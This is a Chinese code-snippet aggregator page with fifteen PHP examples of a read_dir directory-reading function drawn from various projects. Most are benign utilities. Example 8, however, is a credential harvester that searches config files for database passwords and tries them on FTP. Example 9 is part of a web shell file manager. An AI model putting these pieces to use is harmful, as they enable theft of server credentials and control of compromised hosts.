当前位置: 首页>>代码示例>>PHP>>正文


PHP read_dir函数代码示例

本文整理汇总了PHP中read_dir函数的典型用法代码示例。如果您正苦于以下问题:PHP read_dir函数的具体用法?PHP read_dir怎么用?PHP read_dir使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了read_dir函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: read_dir

 function read_dir($dir)
 {
     if ($OpenDir = opendir($dir)) {
         while (($file = readdir($OpenDir)) !== false) {
             if ($file != "." && $file != "..") {
                 if (is_dir($dir . "/" . $file)) {
                     if (!is_readable($dir . "/" . $file)) {
                         error("нет прав для чтения текущий папки", $dir . "/" . $file);
                     } elseif (!is_writeable($dir . "/" . $file)) {
                         error("нет прав для записи в текущую папку", $dir . "/" . $file);
                     } else {
                         read_dir($dir . "/" . $file);
                     }
                 } else {
                     if (!is_readable($dir . "/" . $file)) {
                         error("нет прав для чтения файла", $dir . "/" . $file);
                     } elseif (!is_writeable($dir . "/" . $file)) {
                         error("нет прав для записи в файл", $dir . "/" . $file);
                     }
                 }
             }
         }
     } else {
         error("нет прав", $dir);
     }
 }
开发者ID:Skipper95,项目名称:urfu-web-2015,代码行数:26,代码来源:counter.php

示例2: get_all_messages

 function get_all_messages()
 {
     // чтение списка файлов
     $files = read_dir($this->data_dir);
     if (count($files) == 0) {
         return NULL;
     }
     // сортировка
     rsort($files);
     // список всех сообщений
     $result = NULL;
     // цикл считывания сообшщений из файлов
     for ($file_idx = 0; $file_idx < count($files); ++$file_idx) {
         $file = get_file($this->data_dir . "/" . $files[$file_idx]);
         $item_res = explode($this->answ_separator, $file);
         $item_res = explode($this->item_separator, $item_res[0]);
         $result[$file_idx]["id"] = $files[$file_idx];
         $result[$file_idx]["name"] = $item_res[0];
         $result[$file_idx]["email"] = $item_res[1];
         $result[$file_idx]["url"] = $item_res[2];
         $result[$file_idx]["time"] = $item_res[3];
         $result[$file_idx]["ip"] = $item_res[4];
         $result[$file_idx]["text"] = $item_res[5];
     }
     return $result;
 }
开发者ID:aricent123,项目名称:cadbis,代码行数:26,代码来源:guestbook.php

示例3: read_dir

function read_dir($dir, &$dir_array, $root, &$html_lines)
{
    global $link_array, $hot_array, $pop_array, $new_tools;
    global $menu_name;
    global $popular_access_dict;
    $dir_list = get_valid_dir($dir);
    if ($root == false && count($dir_list) != 0) {
        array_push($html_lines, "<ul>");
    }
    foreach ($dir_list as $dir2) {
        $path = $dir . "/" . $dir2;
        if (!checkShow($path)) {
            continue;
        }
        $dir_list2 = get_valid_dir($path);
        if (count($dir_list2) == 0) {
            $show_name = get_item_name($path);
            array_push($html_lines, "<li><a href='' name='{$path}'><span class='item'>" . $show_name . "</span></a>");
            $cnt = 0;
            $tip_str = "";
            if (array_key_exists($path, $popular_access_dict["hot"])) {
                $cnt = $popular_access_dict["hot"][$path];
                $tip_str = "点击次数:{$cnt}";
                $show_name = "{$show_name}({$cnt})";
                array_push($link_array[$menu_name], "<a class='btn btn-danger btn-xs' title='hot({$tip_str})' href='{$path}'>{$show_name}</a>");
                array_push($hot_array, "<a class='btn btn-danger btn-xs' title='hot({$tip_str})' href='{$path}'>{$show_name}</a> ");
            } elseif (array_key_exists($path, $popular_access_dict["good"])) {
                $cnt = $popular_access_dict["good"][$path];
                $tip_str = "点击次数:{$cnt}";
                $show_name = "{$show_name}({$cnt})";
                array_push($link_array[$menu_name], "<a class='btn btn-success btn-xs' title='popular({$tip_str})' href='{$path}'>{$show_name}</a>");
                array_push($pop_array, "<a class='btn btn-success btn-xs' title='popular({$tip_str})' href='{$path}'>{$show_name}</a> ");
            } else {
                if (array_key_exists($path, $popular_access_dict["all"])) {
                    $cnt = $popular_access_dict["all"][$path];
                }
                $tip_str = "点击次数:{$cnt}";
                $show_name = "{$show_name}({$cnt})";
                array_push($link_array[$menu_name], "<a class='btn btn-link btn-xs' href='{$path}' title='{$tip_str}'>{$show_name}</a>");
            }
            $filetime = @filectime($path . "/index.html");
            if (file_exists($path . "/index.php")) {
                $filetime = @filectime($path . "/index.php");
            }
            $mtime = date("F d Y H:i:s.", $filetime);
            $new_tools[$filetime] = "<a class='btn btn-info btn-xs' title='hot({$tip_str}, {$mtime})' href='{$path}'>{$show_name}</a> ";
        } else {
            array_push($html_lines, "<li><a href='' class='parent' name='{$path}'><span class='item'>" . get_item_name($path) . "</span></a>");
        }
        $dir_array[$dir2] = array();
        read_dir($path, $dir_array[$dir2], false, $html_lines);
        array_push($html_lines, "</li>");
    }
    if ($root == false && count($dir_list) != 0) {
        array_push($html_lines, "</ul>");
    }
}
开发者ID:sleepyycat,项目名称:WebFramework,代码行数:57,代码来源:nav_menu.php

示例4: ls

function ls($arg = 'all')
{
    global $src_dir;
    global $src_url;
    if ($arg != 'all') {
        if (eregi("[1-9]+[0-9]*", $arg)) {
            $number_of_releases = $arg;
        } elseif (substr($arg, 0, 1) == '.') {
            $allowed_extention = $arg;
        }
    }
    $src_array = read_dir($src_dir);
    for ($i = 0; $i < sizeof($src_array); $i++) {
        $_ = explode('.', $src_array[$i]);
        $src_unique[$_[0]] .= $src_array[$i] . "\n";
    }
    $release = array_keys($src_unique);
    if (!isset($number_of_releases)) {
        $number_of_releases = sizeof($release);
    }
    for ($i = 0; $i < $number_of_releases; $i++) {
        $_ = trim($src_unique[$release[$i]]);
        $file = explode("\n", $_);
        for ($j = 0; $j < sizeof($file); $j++) {
            $offset = strlen($release[$i]) - strlen($file[$j]);
            $ext = substr($file[$j], $offset);
            if ($ext == '.xml') {
                // release changes >>
                $changes = trim(get_tag(read_file($src_dir . $file[$j]), 'changes'));
            } else {
                // downloadable files >>
                if (isset($allowed_extention)) {
                    if ($ext == $allowed_extention) {
                        $link[] = '<a href="/get/' . $file[$j] . '">' . $file[$j] . '</a>';
                    }
                } else {
                    $link[] = '<a href="/get/' . $file[$j] . '">' . $file[$j] . '</a>';
                }
            }
        }
        if (sizeof($link) > 0) {
            sort($link);
            reset($link);
            if ($changes != '') {
                $changes = "<p>Changes:</p>\n" . $changes . "\n";
            }
            $ls[] = "<p><strong>" . $release[$i] . "</strong></p>\n" . $changes . "<p>Download:</p>\n<ul>\n<li>" . implode("<br></li>\n<li>", $link) . "<br></li>\n</ul>\n";
        }
        unset($changes);
        unset($link);
    }
    if (sizeof($ls) > 0) {
        $out = "<!-- downloadable files >> -->\n" . implode('', $ls) . "<!-- downloadable files << -->\n";
    }
    return $out;
}
开发者ID:JerkWisdom,项目名称:zpublic,代码行数:56,代码来源:get.php

示例5: run

 public function run()
 {
     $faker = Faker::create();
     $count = 50;
     $ids = Estate::lists('estate_id');
     $images = read_dir(dir_path('estates'));
     $images = array_values(array_diff($images, ['alien.png']));
     for ($i = 0; $i < $count; $i++) {
         Image::create(['image' => $images[$i], 'estate_id' => $faker->randomElement($ids), 'preview' => $faker->boolean(30)]);
     }
 }
开发者ID:beststrelok,项目名称:petrol,代码行数:11,代码来源:ImageSeeder.php

示例6: plug_backup_msql

function plug_backup_msql()
{
    require 'plug/tar.php';
    $f = 'plug/_data/msql_backup_' . date('ymd', time()) . '.tar.gz';
    //unlink($f);
    $r = read_dir('msql');
    //p($r);
    if (auth(6)) {
        tar($f, $r);
    }
    if (is_file($f)) {
        return lkt('txtyl', $f, $f);
    } else {
        return 'brrrr';
    }
}
开发者ID:philum,项目名称:cms,代码行数:16,代码来源:backup_msql.php

示例7: read_dir

function read_dir($dir)
{
    $array = array();
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if ($entry != '.' && $entry != '..') {
            $entry = $entry;
            if (is_dir($entry)) {
                //$array[] = $entry;
                $array = array_merge($array, read_dir($entry));
            } else {
                $array[] = $entry;
            }
        }
    }
    $d->close();
    return $array;
}
开发者ID:kozo2,项目名称:pathvisio,代码行数:18,代码来源:walkdirectory.php

示例8: read_dir

function read_dir($path, $username)
{
    if ($handle = opendir($path)) {
        while (false !== ($file = readdir($handle))) {
            $fpath = "{$path}{$file}";
            if ($file != '.' and $file != '..') {
                if (is_readable($fpath)) {
                    $dr = "{$fpath}/";
                    if (is_dir($dr)) {
                        read_dir($dr, $username);
                    } else {
                        if ($file == 'config.php' or $file == 'config.inc.php' or $file == 'db.inc.php' or $file == 'connect.php' or $file == 'wp-config.php' or $file == 'var.php' or $file == 'configure.php' or $file == 'db.php' or $file == 'db_connect.php') {
                            $pass = get_pass($fpath);
                            if ($pass != '') {
                                echo "[+] {$fpath}\n{$pass}\n";
                                ftp_check($username, $pass);
                            }
                        }
                    }
                }
            }
        }
    }
}
开发者ID:xl7dev,项目名称:WebShell,代码行数:24,代码来源:ftpsearch.php

示例9: list_dir

function list_dir($d)
{
    global $HTTP_REFERER;
    if (isset($_POST['b_up']) or isset($_POST['b_open_dir'])) {
        chdir($_POST['fname']);
        $d = getcwd();
    } else {
        $d = getcwd();
    }
    if ($_POST['b_new_dir']) {
        mkdir($_POST['new']);
        chmod($_POST['new'], 0777);
        $d = $_POST['new'];
    }
    if ($_POST['b_del'] and is_dir($_POST['fname'])) {
        rmdir($_POST['fname']);
        chdir($_POST['dname']);
        $d = getcwd();
    }
    if ($_POST['b_del'] and !is_dir($_POST['fname'])) {
        unlink($_POST['fname']);
        chdir($_POST['dname']);
        $d = getcwd();
    }
    if ($_POST['b_change_dir']) {
        chdir($_POST['change_dir']);
        $d = getcwd();
    }
    if ($_POST['b_new_file'] or $_POST['b_open_file']) {
        chdir($_POST['dname']);
        $d = getcwd();
    }
    $dir = read_dir($d);
    $dir = sortbyname($dir, $d);
    $count = count($dir);
    echo "<form action=\"" . $HTTP_REFERER . "\" method=\"POST\" enctype=\"multipart/form-data\">";
    echo "<input type=\"hidden\" value='" . $r_act . "' name=\"r_act\">";
    echo "<table BORDER=1 align=center>";
    echo "<tr bgcolor=#ffff00><td alling=\"center\"><b>Navigation</b></td></tr>";
    if (is_writable($d)) {
        echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"{$d}\" name=\"new\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewDir\" name=\"b_new_dir\"></td>";
        echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewFile\" name=\"b_new_file\"></td></tr>";
    }
    echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"{$d}\" name=\"change_dir\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"ChangeDir\" name=\"b_change_dir\"></td></tr>";
    if (!$safe_mode) {
        echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"\" name=\"ffile\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"FindeFile\" name=\"b_f_file\"></td></tr>";
    }
    echo "</table></form>";
    echo "<table CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>";
    echo "<tr bgcolor=#ffff00><td><b>&nbsp;&nbsp;&nbsp;Directory&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Permission&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Size&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Owner/Group&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Action&nbsp;&nbsp;&nbsp;</b></td>";
    for ($i = 0; $i < $count; $i++) {
        if ($dir[$i] != "") {
            $full = $d . "/" . $dir[$i];
            $perm = permissions(fileperms($full), $dir[$i]);
            $file = $d . "/" . $dir[$i];
            echo "<form action=\"" . $HTTP_REFERER . "\" method=\"POST\" enctype=\"multipart/form-data\">";
            if (is_dir($file)) {
                echo "<tr bgcolor=#98FA00><td>" . $dir[$i] . "&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">" . filesize($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;" . fileowner($dir[$i]) . "&nbsp;&nbsp;&nbsp;" . filegroup($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td>";
            } elseif (is_file($file)) {
                echo "<tr><td>" . $dir[$i] . "&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">" . filesize($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;" . fileowner($dir[$i]) . "&nbsp;&nbsp;&nbsp;" . filegroup($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td>";
            } else {
                echo "<tr bgcolor=#ffff00><td>" . $dir[$i] . "&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">" . filesize($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;" . fileowner($dir[$i]) . "&nbsp;&nbsp;&nbsp;" . filegroup($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td>";
            }
            if (is_dir($file)) {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Listing\" name=\"b_open_dir\"></td>";
            } elseif (is_readable($file)) {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Open\" name=\"b_open_file\"></td>";
            }
            if (is_writable($file) and $file != "..") {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Delete\" name=\"b_del\"></td>";
            }
            if (is_readable($file) and !is_dir($file)) {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Download\" name=\"b_down\"></td>";
            }
            echo "<input type=\"hidden\" value='" . $r_act . "' name=\"r_act\"></tr>";
            echo "</form>";
        }
    }
    echo "</table>";
    closedir($d);
}
开发者ID:Theov,项目名称:webshells,代码行数:81,代码来源:gfs_sh.php

示例10: fopen

    $filePath = '';
}
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'POST') {
    $newsfile = $_POST['file_edit'];
    $n = fopen($newsfile, 'w');
    if (get_magic_quotes_gpc()) {
        $res = fwrite($n, stripslashes($_POST[$reqType]));
    } else {
        $res = fwrite($n, $_POST[$reqType]);
    }
    $res = fclose($n);
}
// @author giorgio 08/mag/2013
// this must be here to list newly created files possibly generated
// when handling $_POST datas.
$files_news = read_dir(ROOT_DIR . $filePath . '/docs/' . $reqType, 'txt');
//print_r($files_news);
$codeLang = isset($_GET['codeLang']) ? $_GET['codeLang'] : null;
if (!isset($op)) {
    $op = null;
}
switch ($op) {
    case 'edit':
        $newsmsg = array();
        // @author giorgio 08/mag/2013
        // builds something like docs/news/news_it.txt
        $fileToOpen = ROOT_DIR . $filePath . '/docs/' . $reqType . '/' . $reqType . '_' . $codeLang . '.txt';
        $newsfile = $fileToOpen;
        if ($fid = @fopen($newsfile, 'r')) {
            if (!isset($newsmsg[$reqType])) {
                $newsmsg[$reqType] = '';
开发者ID:eguicciardi,项目名称:ada,代码行数:31,代码来源:edit_content.php

示例11: define

define('API_DIR', '/Users/featherless/Sites/three20/api/');
define('API_SEARCH_DIR', API_DIR . 'search/');
function read_dir($dir)
{
    $filenames = array();
    $directory = opendir($dir);
    while ($filename = readdir($directory)) {
        if ($filename[0] != '.') {
            $filenames[] = $filename;
        }
    }
    closedir($directory);
    return $filenames;
}
$searchFilenames = read_dir(API_SEARCH_DIR);
// Now that we have all of the search index files, let's split them apart by index type.
$indexFilenames = array();
foreach ($searchFilenames as $filename) {
    $info = pathinfo($filename);
    if ($info['extension'] == 'html') {
        $underscorePosition = strpos($filename, '_');
        if ($underscorePosition !== FALSE) {
            $index = substr($filename, 0, $underscorePosition);
            if (empty($indexFilenames[$index])) {
                $indexFilenames[$index] = array();
            }
            $indexFilenames[$index][] = $filename;
        }
    }
}
开发者ID:Three20,项目名称:API,代码行数:30,代码来源:buildindex.php

示例12: issimple_readdir

/**
 * Função para leitura de diretórios
 * 
 * @since IS Simple 1.0
 * ============================================================================
 */
function issimple_readdir($dir, $type = FALSE)
{
    $files = array();
    $ds = DIRECTORY_SEPARATOR;
    // Se não existir o diretório...
    if (!is_dir($dir)) {
        return false;
    }
    // Abrindo diretório...
    $odir = @opendir($dir);
    // Se falhar ao abrir o diretório...
    if (!$odir) {
        return false;
    }
    // Construindo o array de arquivos...
    while (($file = readdir($odir)) !== false) {
        // Ignora os resultados "." e ".." ...
        if ($file == '.' || $file == '..') {
            continue;
        }
        $slug = explode('.', $file);
        $ext = count($slug) == 1 ? 'dir' : end($slug);
        // Extensão do arquivo
        $path = count($slug) == 1 ? $dir . $file . $ds : $dir . $file;
        // Caminho do arquivo
        $slug = str_replace('.' . $ext, '', $file);
        // Nome do arquivo
        if (is_dir($path)) {
            $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path, 'files' => read_dir($path, $type));
            continue;
        }
        // Pegar todos os arquivos
        if (empty($type)) {
            $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
            continue;
        }
        // Pegar apenas os diretórios
        if ($type === 1) {
            if (is_dir($path)) {
                $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path, 'files' => read_dir($dir, $type));
            }
            continue;
        }
        // Se $type for um array
        if (is_array($type)) {
            if (in_array($ext, $type)) {
                $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
            }
            continue;
        }
        // Se $type for uma string
        if ($ext == $type) {
            $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
            continue;
        }
    }
    // Fechando diretório...
    closedir($odir);
    return $files;
}
开发者ID:joao-parana,项目名称:is_simple_wp,代码行数:66,代码来源:utilities.php

示例13: date_default_timezone_set

if (!isset($config_ban_attempts)) {
    $config_ban_attempts = 3;
}
// adjust timezone
if (function_exists('date_default_timezone_set')) {
    date_default_timezone_set(empty($config_timezone) ? 'Europe/London' : $config_timezone);
}
// embedded code no send codes
if (empty($NotHeaders) && $config_useutf8 == '1') {
    header('Content-Type: text/html; charset=UTF-8', true);
    header('Accept-Charset: UTF-8', true);
}
// loading plugins
$_HOOKS = array();
if (is_dir(SERVDIR . '/cdata/plugins')) {
    foreach (read_dir(SERVDIR . '/cdata/plugins', array(), false) as $plugin) {
        if (preg_match('~\\.php$~i', $plugin)) {
            include SERVDIR . $plugin;
        }
    }
}
// load config
if (file_exists(SERVDIR . CACHE . '/conf.php')) {
    $cfg = unserialize(str_replace("<?php die(); ?>\n", '', implode('', file(SERVDIR . CACHE . '/conf.php'))));
} else {
    $cfg = array();
}
// initialize mod_rewrite if present
if ($config_use_replacement && file_exists(SERVDIR . '/cdata/conf_rw.php')) {
    include SERVDIR . '/cdata/conf_rw.php';
} else {
开发者ID:jasmith152,项目名称:Salt_Face,代码行数:31,代码来源:init.php

示例14: read_dir

/**
* 递归读取目录下所有文件(含目录全路径)自动过滤.和..
* <code>
* print_r(read_dir(APP_PATH));
* </code>
* @param array $dir 需要读取的目录路径
* @param array $clean 是否清除上次读取,默认true,此参数系统内部调用,无需修改
* @return bool/array 成功返回目录下所有文件一维数组,失败返回false
*/
function read_dir($dir, $clean = true)
{
    static $dirArr = array();
    if ($clean) {
        $dirArr = array();
    }
    $dir = trim($dir);
    if (!is_dir($dir)) {
        return false;
    }
    //补全后面的/
    if (substr($dir, -1) != '/') {
        $dir .= '/';
    }
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ('.' == $file || '..' == $file) {
                continue;
            }
            if (is_file($dir . $file)) {
                $dirArr[] = $dir . $file;
            } else {
                read_dir($dir . $file . '/', false);
            }
        }
        closedir($dh);
    }
    return $dirArr;
}
开发者ID:adulinlin,项目名称:phpframework,代码行数:38,代码来源:core.func.php

示例15: form_addcourse


//.........这里部分代码省略.........
     for ($i = 0; $i < $max; $i++) {
         //if (($layout_OK[$i]!='.') && ($layout_OK[$i]!='..'))
         if ($i != $max - 1) {
             $val_sel .= $layout_OK[$i] . ":";
         } else {
             $val_sel .= $layout_OK[$i];
         }
     }
     // $layout_OK [] = "";
     $fields["add"][] = "course[layout]";
     $names["add"][] = "Layout: {$val_sel}";
     $edittypes["add"][] = "select";
     $necessary["add"][] = "";
     $values["add"][] = $course['layout'];
     $options["add"][] = $val_sel;
     $maxsize["add"][] = 20;
     // id_nodo_toc
     $fields["add"][] = "course[id_nodo_toc]";
     $names["add"][] = "id_nodo_toc";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = "";
     // id_nodo_iniziale
     $fields["add"][] = "course[id_nodo_iniziale]";
     $names["add"][] = "id_nodo_iniziale";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = "";
     // file XML possibili
     // vito, 15 giugno 2009
     $message = "";
     if ($is_author && (int) $_GET['modello'] == 1) {
         $course_models = read_dir(AUTHOR_COURSE_PATH_DEFAULT, 'xml');
         /*
          * vito, 30 mar 2009
          * Decomment the following lines (those after the comment SEARCH INTO AUTHOR'S UPLOAD DIR)
          * to enable searching for course models into author's
          * upload dir in addition to those stored into AUTHOR_COURSE_PATH_DEFAULT dir.
          *
          * It is necessary to handle this change in admin/author_course_xml_to_db_process.php:
          * now it builds the root dir relative position for the given xml file by prefixing it
          * with AUTHOR_COURSE_PATH_DEFAULT. If we allow searching into the author's upload dir
          * we have to avoid adding this prefix because the filename will be already a root dir
          * relative filename.
          *
          * If an author wants to create a new course based on an existing course model,
          * show him the course models in the course model repository, (common to all authors) and
          * the ones he has uploaded, stored in UPLOAD_PATH/<authorid>.
          * Otherwise, if an admin wants to create a course from an existing model, show him only the
          * course models stored in the course model repository.
          */
         // SEARCH INTO AUTHOR'S UPLOAD DIR
         //        if (!is_array($course_models)) {
         //          $course_models = array();
         //        }
         //        if ($is_author) {
         //	      $authors_uploaded_files = UPLOAD_PATH.$authors_ha[0][0];
         //	      $authors_course_models  = read_dir($authors_uploaded_files, 'xml');
         //	      $course_models = array_merge($course_models, $authors_course_models);
         //        }
         $num_files = 0;
         if (is_array($course_models)) {
             $num_files = sizeof($course_models);
         }
         $val_sel = '';
         $label_sel = '';
         if ($num_files > 0) {
             foreach ($course_models as $value) {
                 //vito, 30 mar 2009
                 // SEARCH INTO AUTHOR'S UPLOAD DIR
                 //$val_sel.=$value['path_to_file'].":";
                 $val_sel .= $value['file'] . ":";
                 $label_sel .= ":" . $value['file'];
             }
             $val_sel = substr($val_sel, 0, -1);
             // vito, 12 giugno 2009
             //}
             //if ($is_author AND ((int)$_GET['modello'])==1) {
             $fields["add"][] = "course[xml]";
             $names["add"][] = "XML" . $label_sel;
             $edittypes["add"][] = "select";
             $necessary["add"][] = "";
             $values["add"][] = "";
             $options["add"][] = $val_sel;
             $maxsize["add"][] = "";
             //}
         } else {
             $message = translateFN("Non sono presenti modelli di corso. E' comunque possibile creare un corso vuoto.");
         }
     }
     // creazione del form
     $str = MakeForm($fields, $names, $edittypes, $necessary, $values, $options, $maxsize, $file_action, "add", false, true);
     // scrittura stringa back
     //  $str .= $this->go_file_back($file_back,"Home");
     return $message . $str;
 }
开发者ID:eguicciardi,项目名称:ada,代码行数:101,代码来源:htmladmoutput.inc.php


注:本文中的read_dir函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。